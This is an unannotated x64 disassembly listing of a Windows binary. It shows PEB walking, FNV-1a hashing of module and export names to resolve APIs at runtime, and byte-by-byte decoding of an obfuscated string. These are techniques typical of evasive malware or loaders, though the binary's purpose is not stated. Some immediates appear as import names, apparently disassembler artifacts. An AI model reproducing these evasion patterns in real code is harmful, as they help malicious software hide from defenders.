mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140145db0
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140145da2
jmp 0x140145dc5
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x140145db8
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x140145cab
mov qword [0x1404fc118], rdx
mov r13d, 0x31a98fee
mov ecx, 0x99
call rdx
mov rbx, qword [0x1404fc158]
xor eax, eax
test rbx, rbx
jne 0x140145f6a
mov esi, eax
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140145e7c
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140145e6e
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140145e5d
cmp r8d, esi
jne 0x140145f4c
mov rdi, qword [rbx + 0x30]
movsxd rax, dword [rdi + 0x3c]
mov rax, qword [rax + rdi + 0x88]
mov r10d, eax
add r10, rdi
shr rax, 0x20
cmp r10, rdi
je 0x140145f4c
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140145f4c
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rdi + r9*4]
mov r8d, dword [rdx + r11]
add r8, rdi
mov edx, 0x811c9dc5
jmp 0x140145ed0
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140145ec5
cmp edx, r14d
je 0x140145ee6
test r9d, r9d
jne 0x140145eb0
jmp 0x140145f4c
mov r8d, dword [r10 + 0x1c]
add r8, rdi
mov edx, dword [r10 + 0x24]
add rdx, rdi
movzx edx, word [rdx + r9*2]
mov ebx, dword [r8 + rdx*4]
add rbx, rdi
cmp rbx, r10
jbe 0x140145f63
lea rcx, [rax + r10]
cmp rbx, rcx
jae 0x140145f63
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rbx]
cmp al, 0x2e
je 0x140145f40
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, rcx
jmp 0x140145f1d
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, rcx
mov al, byte [rbx]
test al, al
jne 0x140145f33
mov rbx, qword [r15]
mov rbx, qword [rbx]
xor eax, eax
cmp rbx, r15
je 0x140145f60
cmp qword [rbx + 0x30], rax
jne 0x140145e2c
mov rbx, rax
mov qword [0x1404fc158], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x1404fc150]
xor eax, eax
test rdx, rdx
jne 0x1401460e6
mov esi, eax
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140145ff8
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140145fea
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140145fd9
cmp r8d, esi
jne 0x1401460c8
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x1401460c8
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401460c8
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x14014604c
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140146041
cmp edx, r14d
je 0x140146062
test r9d, r9d
jne 0x14014602c
jmp 0x1401460c8
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x1401460df
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x1401460df
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x1401460bc
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x140146099
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x1401460af
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x1401460dc
cmp qword [rdi + 0x30], rax
jne 0x140145fa8
mov rdx, rax
mov qword [0x1404fc150], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc148]
xor eax, eax
test rdx, rdx
jne 0x140146259
mov esi, eax
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14014616b
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14014615d
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14014614c
cmp r8d, esi
jne 0x14014623b
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x14014623b
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x14014623b
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401461bf
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401461b4
cmp edx, r14d
je 0x1401461d5
test r9d, r9d
jne 0x14014619f
jmp 0x14014623b
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x140146252
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x140146252
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x14014622f
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x14014620c
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x140146222
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x14014624f
cmp qword [rdi + 0x30], rax
jne 0x14014611b
mov rdx, rax
mov qword [0x1404fc148], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc140]
xor eax, eax
test rdx, rdx
jne 0x1401463cc
mov esi, eax
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401462de
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401462d0
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401462bf
cmp r8d, esi
jne 0x1401463ae
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x1401463ae
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401463ae
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x140146332
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140146327
cmp edx, r14d
je 0x140146348
test r9d, r9d
jne 0x140146312
jmp 0x1401463ae
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x1401463c5
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x1401463c5
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x1401463a2
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x14014637f
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x140146395
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x1401463c2
cmp qword [rdi + 0x30], rax
jne 0x14014628e
mov rdx, rax
mov qword [0x1404fc140], rdx
xor ecx, ecx
call rdx
xor ebx, ebx
cmp qword [0x1404fc138], rbx
jne 0x1401464cc
mov esi, ebx
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14014644a
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140146440
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14014642f
cmp r8d, esi
jne 0x1401464b0
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x1401464ae
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401464ae
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x140146496
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14014648b
cmp edx, r14d
je 0x14014659f
test r9d, r9d
jne 0x140146476
xor ebx, ebx
mov rdi, qword [rdi]
cmp rdi, r15
je 0x1401464c2
cmp qword [rdi + 0x30], rbx
jne 0x1401463fe
mov r9, rbx
mov qword [0x1404fc138], r9
mov r8, qword [0x1404fc168]
test r8, r8
jne 0x140146545
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r9, qword [rax]
mov r10, r9
mov rcx, qword [r9 + 0x60]
movzx eax, word [r9 + 0x58]
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
cmp rcx, rdx
je 0x14014652d
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14014650a
cmp r8d, 0x610c0de3
je 0x14014661a
mov r9, qword [r9]
cmp r9, r10
je 0x14014653b
cmp qword [r9 + 0x30], rbx
jne 0x1401464ef
mov r8, rbx
mov qword [0x1404fc168], r8
movsxd rax, dword [r8 + 0x3c]
mov r11d, dword [rax + r8 + 0x88]
mov r9d, ebx
mov r10d, dword [r11 + r8 + 0x20]
mov edi, 1
mov eax, r9d
lea rcx, [r10 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
add rdx, rdi
test al, al
je 0x14014659a
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, rdi
test al, al
jne 0x14014657a
cmp ecx, 0xe463da3c
je 0x140146623
add r9d, edi
jmp 0x14014655e
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, rbx
cmp r9, r10
jbe 0x140146613
lea rcx, [rax + r10]
cmp r9, rcx
jae 0x140146613
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r9]
cmp al, 0x2e
je 0x1401465ed
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, rcx
jmp 0x1401465d6
add r9, rcx
xor ebx, ebx
jmp 0x140146604
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r9, rcx
mov al, byte [r9]
test al, al
jne 0x1401465f4
mov rdi, qword [r15]
jmp 0x1401464b0
xor ebx, ebx
jmp 0x1401464c5
mov r8, qword [r9 + 0x30]
jmp 0x14014653e
mov edx, dword [r11 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r11 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x1404fba00]
test r10, r10
jne 0x140146749
mov esi, ebx
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401466c2
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401466b8
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401466a7
cmp r8d, esi
jne 0x140146728
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x140146726
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140146726
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x14014670e
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140146703
cmp edx, r14d
je 0x1401467c5
test r9d, r9d
jne 0x1401466ee
xor ebx, ebx
mov rdi, qword [rdi]
cmp rdi, r15
je 0x14014673a
cmp qword [rdi + 0x30], rbx
jne 0x140146676
mov r10, rbx
mov qword [0x1404fba00], r10
mov edi, 1
lea r9, [rbp + 0x11b0]
mov r8d, edi
mov edx, 0x5000
mov rcx, r12
call r10
mov r8, qword [0x1404fc160]
test r8, r8
jne 0x1401468dd
mov esi, ebx
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14014685b
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140146851
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r10d, dword [r8 + rdx*4]
add r10, rbx
cmp r10, r11
jbe 0x140146839
lea rcx, [rax + r11]
cmp r10, rcx
jae 0x140146839
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x140146813
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rcx
jmp 0x1401467fc
add r10, rcx
xor ebx, ebx
jmp 0x14014682a
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rcx
mov al, byte [r10]
test al, al
jne 0x14014681a
mov rdi, qword [r15]
jmp 0x140146728
xor ebx, ebx
jmp 0x14014673d
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140146840
cmp r8d, esi
jne 0x1401468c1
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x1401468bf
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401468bf
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401468a7
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14014689c
cmp edx, r14d
je 0x140146988
test r9d, r9d
jne 0x140146887
xor ebx, ebx
mov rdi, qword [rdi]
cmp rdi, r15
je 0x1401468d3
cmp qword [rdi + 0x30], rbx
jne 0x14014678d
mov r8, rbx
mov qword [0x1404fc160], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rbp + 0x31e0], eax
mov eax, dword [0x1404fba30]
mov dword [rbp + 0x31e4], eax
lea rdx, [rbp + 0x31e0]
lea rcx, [0x1404fba90]
call fcn.1401abf54
test eax, eax
jne 0x140148df4
mov r15, qword [0x1404fc128]
test r15, r15
jne 0x140146aa6
mov esi, ebx
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r14, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140146a1e
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140146a14
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r8d, dword [r8 + rdx*4]
add r8, rbx
cmp r8, r10
jbe 0x1401469fc
lea rcx, [rax + r10]
cmp r8, rcx
jae 0x1401469fc
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r8]
cmp al, 0x2e
je 0x1401469d6
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r8, rcx
jmp 0x1401469bf
add r8, rcx
xor ebx, ebx
jmp 0x1401469ed
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, rcx
mov al, byte [r8]
test al, al
jne 0x1401469dd
mov rdi, qword [r15]
jmp 0x1401468c1
xor ebx, ebx
jmp 0x1401468d6
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140146a03
cmp r8d, esi
jne 0x140146a8a
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x140146a88
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140146a88
mov r11d, dword [r10 + 0x20]
mov r12d, 1
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x140146a70
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x140146a65
cmp edx, r13d
je 0x140146b8d
test r9d, r9d
jne 0x140146a50
xor ebx, ebx
mov rdi, qword [rdi]
cmp rdi, r14
je 0x140146a9c
cmp qword [rdi + 0x30], rbx
jne 0x140146950
mov r15, rbx
mov qword [0x1404fc128], r15
mov byte [rbp + 0x460], Ordinal_211
mov byte [rbp + 0x461], WSASetLastError
mov byte [rbp + 0x462], 0xe6
mov byte [rbp + 0x463], WSASetLastError
mov byte [rbp + 0x464], 0xf0
mov byte [rbp + 0x465], WSAGetLastError
mov byte [rbp + 0x466], 0xfb
mov byte [rbp + 0x467], 0x67
mov byte [rbp + 0x468], 0xea
mov byte [rbp + 0x469], 0x65
mov byte [rbp + 0x46a], Ordinal_200
mov byte [rbp + 0x46b], 0x63
mov byte [rbp + 0x46c], 0x60
mov byte [rbp + 0x46d], 0x61
xor eax, eax
mov qword [rbp + 0x46e], rax
mov dword [rbp + 0x476], eax
movabs rsi, 0x7f6e648b120d3452
mov bl, byte [rsp + 0x50]
lea r14d, [rax + 0x23]
xor r13d, r13d
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r11, qword [rax]
mov r10, r13
mov r12d, 1
cmp r10, 0x1a
jae 0x1401476fa
movzx r9d, byte [rbp + r10 + 0x460]
mov r8, r9
cmp rdi, r10
ja 0x1401476f1
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x140146c04
lea rcx, [r10 + rsi]
mov rax, r9
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, r9
add rbx, rcx
sub bl, 0x3e
jmp 0x140146c31
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r15d, dword [r8 + rdx*4]
add r15, rbx
cmp r15, r10
jbe 0x140146a9f
lea rcx, [rax + r10]
cmp r15, rcx
jae 0x140146a9f
mov eax, 0x811c9dc5
mov esi, eax
mov r13d, eax
jmp 0x140146bd7
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r15, r12
mov al, byte [r15]
cmp al, 0x2e
jne 0x140146bc9
add r15, r12
xor ebx, ebx
jmp 0x140146bf5
movsx eax, al
xor eax, r13d
imul r13d, eax, 0x1000193
add r15, r12
mov al, byte [r15]
test al, al
jne 0x140146be5
mov rdi, qword [r14]
jmp 0x140146a8a
je 0x14014766c
lea rax, [r11 + 3]
cmp rdi, rax
je 0x140147639
lea rax, [r11 + 4]
cmp rdi, rax
je 0x1401475f2
lea rax, [r11 + 6]
cmp rdi, rax
je 0x1401475ca
cmp r11, r10
ja 0x1401476e8
lea rcx, [r11 + 2]
cmp rdi, rcx
jae 0x140146c62
movabs rcx, 0x740e3f687b154aba
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x16
jmp 0x140146c92
lea rax, [r11 + 1]
cmp rdi, rax
je 0x14014757f
cmp rdi, rcx
je 0x14014755c
lea rax, [r11 + 4]
cmp rdi, rax
je 0x140147548
lea rax, [r11 + 5]
cmp rdi, rax
je 0x140147524
lea rax, [r11 + rdi]
cmp rax, r10
jbe 0x1401471e0
lea rax, [r11 + 0x61]
cmp rdi, rax
je 0x1401471cc
lea rax, [r11 + 8]
cmp rdi, rax
je 0x1401471aa
lea rax, [r11 + 0x3e8]
cmp rdi, rax
je 0x140147196
lea rax, [r11 + 4]
cmp rdi, rax
je 0x140147174
lea rax, [r11 + 0x64]
cmp rdi, rax
je 0x140147160
lea rax, [r11 + 1]
cmp rdi, rax
je 0x14014713e
lea rax, [r11 + 0x28]
cmp rdi, rax
je 0x14014712a
lea rax, [r11 + 0x41]
cmp rdi, rax
je 0x140147108
lea rax, [r11 + 0xa]
cmp rdi, rax
je 0x1401470e2
lea rax, [r11 + 0x1000]
cmp rdi, rax
je 0x140146c9f
lea rdi, [r11 + 0x61]
lea r11, [rdi + 6]
lea rax, [r11 + 8]
cmp rdi, rax
jb 0x1401476c4
lea rax, [r11 + 0x3e8]
cmp rdi, rax
jb 0x1401476a2
lea rax, [r11 + 4]
cmp rdi, rax
jb 0x140146e9f
lea rax, [r11 + 0x64]
cmp rdi, rax
jb 0x140146e7d
lea rax, [r11 + 1]
cmp rdi, rax
jb 0x140146e57
lea rax, [r11 + 0x28]
cmp rdi, rax
jb 0x140147045
lea rax, [r11 + 0x41]
cmp rdi, rax
jb 0x140147034
lea rax, [r11 + 0xa]
cmp rdi, rax
jb 0x140146fec
lea rax, [r11 + 0x1000]
cmp rdi, rax
jb 0x140146fbe
lea rax, [r11 + 6]
cmp rdi, rax
jb 0x140146c9f
lea rdi, [r11 + 0x80]
lea r11, [rdi + 0x200]
lea rax, [r11 + 2]
cmp rdi, rax
ja 0x140146faa
lea rax, [r11 + 0x40]
cmp rdi, rax
ja 0x140146f88
lea rax, [r11 + 0x5a]
cmp rdi, rax
ja 0x140146f67
lea rax, [r11 + 0x10]
cmp rdi, rax
ja 0x140146f45
lea rax, [r11 + 0x61]
cmp rdi, rax
ja 0x140146f31
lea rax, [r11 + 8]
cmp rdi, rax
ja 0x140146f0f
lea rax, [r11 + 0x3e8]
cmp rdi, rax
ja 0x140146efb
lea rax, [r11 + 4]
cmp rdi, rax
ja 0x140146ed9
lea rax, [r11 + 0x64]
cmp rdi, rax
ja 0x140146ec5
lea rax, [r11 + 1]
cmp rdi, rax
ja 0x140146c9f
lea rdi, [r11 + 2]
lea r11, [rdi + 0x28]
jmp 0x140146c9f
movabs rdx, 0x30f09782cd2b6886
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140146c92
movabs rcx, 0x3213ce6ca910ffe2
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x2e
jmp 0x140146c31
movabs rdx, 0x3337055684f6973e
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140146b58
movabs rdx, 0xa071fb43d8aa55d0
mov ecx, Ordinal_41
jmp 0x14014758e
movabs rcx, 0xa195322db48fed2c
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x34
jmp 0x1401475e7
movabs rdx, 0xa2b8691790758488
mov ecx, 0x24
jmp 0x14014756b
movabs rcx, 0xa3dba0016c5b1be4
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x3c
jmp 0x14014760f
movabs rdx, 0xa4fed6eb4840b340
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140147648
movabs rcx, 0xa6220dd524264a9c
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x44
jmp 0x14014765d
movabs rdx, 0xa74544bf000be1f8
mov ecx, Ordinal_32
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x1401474b3
movabs rcx, 0xa8687ba8dbf17954
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x4c
jmp 0x1401474ec
movabs rdx, 0xa98bb292b7d710b0
mov ecx, Ordinal_27
jmp 0x1401470f1
movabs rdx, 0x2c63bbdb5d950b16
add rdx, r10
mov al, dl
and al, r9b
mov ecx, 0x33
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
mov byte [rbp + r10 + 0x460], bl
jmp 0x14014769a
movabs rcx, 0x2d86f2c5397aa272
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x1e
cmp r11, 2
jb 0x140146fdf
movabs rcx, 0xc5fc0f693142d8ac
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea ebx, [rcx*2 - 0x68]
jmp 0x1401475a0
movabs rdx, 0x2eaa29af156039ce
mov ecx, Ordinal_50
jmp 0x14014708c
